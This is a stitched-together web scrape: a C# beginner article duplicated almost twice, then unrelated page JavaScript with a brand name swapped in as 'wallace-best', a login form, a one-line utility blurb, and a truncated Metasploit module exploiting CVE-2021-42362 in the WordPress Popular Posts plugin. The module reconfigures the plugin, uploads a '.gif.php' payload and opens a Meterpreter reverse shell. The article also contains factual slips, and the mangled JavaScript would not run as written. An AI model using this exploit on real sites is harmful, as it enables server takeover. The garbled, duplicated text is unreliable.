What is C#? C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! Why Use C#? It is one of the most popular programming language in the world It is easy to learn and simple to use It has a huge community support C# is an object oriented language which gives a clear structure to programs and allows code to be reused, lowering development costs. As C# is close to C, C++ and Java, it makes it easy for programmers to switch to C# or vice versa. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology C# Programming for Beginners: Introduction, Features and Applications By Simplilearn Last updated on Jan 20, 2020674 C# Programming for Beginners As a programmer, you’re motivated to master the most popular languages that will give you an edge in your career. There’s a vast number of programming languages that you can learn, but how do you know which is the most useful? If you know C and C++, do you need to learn C# as well? How similar is C# to Java? Does it become more comfortable for you to learn C# if you already know Java? Every developer and wannabe programmer asks these types of questions. So let us explore C# programming: how it evolved as an extension of C and why you need to learn it as a part of the Master’s Program in integrated DevOps for server-side execution. Are you a web developer or someone interested to build a website? Enroll for the Javascript Certification Training. Check out the course preview now! What is C#? C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Full Stack Java Developer Course The Gateway to Master Web DevelopmentEXPLORE COURSEFull Stack Java Developer Course Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology Who Should Learn the C# Programming Language and Why? C# is one of the most popular programming languages as it can be used for a variety of applications: mobile apps, game development, and enterprise software. What’s more, the C# 8.0 version is packed with several new features and enhancements to the C# language that can change the way developers write their C# code. The most important new features available are ‘null reference types,’ enhanced ‘pattern matching,’ and ‘async streams’ that help you to write more reliable and readable code. As you’re exposed to the fundamental programming concepts of C# in this course, you can work on projects that open the doors for you as a Full Stack Java Developer. So, upskill and master the C# language for a faster career trajectory and salary scope.

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if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); 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}); </script> </head> <body class=""> <header class="global-header"> <div> <nav class="global-nav"> <a href="/" class="logo" data-analytics="site logo"><img src="//a.wallace-bestcdn.com/1391808583/img/disqus-logo-alt-hidpi.png" width="150" alt="wallace-best" title="wallace-best - Discover your community"/></a> </nav> </div> </header> <section class="login"> <form id="login-form" action="https://disqus.com/profile/login/?next=http://wallace-best.wallace-best.com/admin/moderate/" method="post" accept-charset="utf-8"> <h1>Sign in to continue</h1> <input type="text" name="username" tabindex="20" placeholder="Email or Username" value=""/> <div class="password-container"> <input type="password" name="password" tabindex="21" placeholder="Password" /> <span>(<a href="https://wallace-best.com/forgot/">forgot?</a>)</span> </div> <button type="submit" class="button submit" data-analytics="sign-in">Log in to wallace-best</button> <span class="create-account"> <a href="https://wallace-best.com/profile/signup/?next=http%3A//wallace-best.wallace-best.com/admin/moderate/" data-analytics="create-account"> Create an Account </a> </span> <h1 class="or-login">Alternatively, you can log in using:</h1> <div class="connect-options"> <button title="facebook" type="button" class="facebook-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/facebook.svg" alt="Facebook"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/facebook.png" alt="Facebook"> <![endif]--> </span> </button> <button title="twitter" type="button" class="twitter-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/twitter.svg" alt="Twitter"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/twitter.png" alt="Twitter"> <![endif]--> </span> </button> <button title="google" type="button" class="google-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/google.svg" alt="Google"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/google.png" alt="Google"> <![endif]--> </span> </button> </div> </form> </section> <div class="get-disqus"> <a href="https://wallace-best.com/admin/signup/" data-analytics="get-disqus">Get wallace-best for your site</a> </div> <script> /*jshint undef:true, browser:true, maxlen:100, strict:true, expr:true, white:true */ // These must be global var _comscore, _gaq; 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Utility that will change the folder icon for window, based on a folder.jpg file that is inside that folder. It will also hide metadata files that aren't related to a video file. Useful with programs like Emby, Kodi, Sonarr by cleaning up folders.

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method 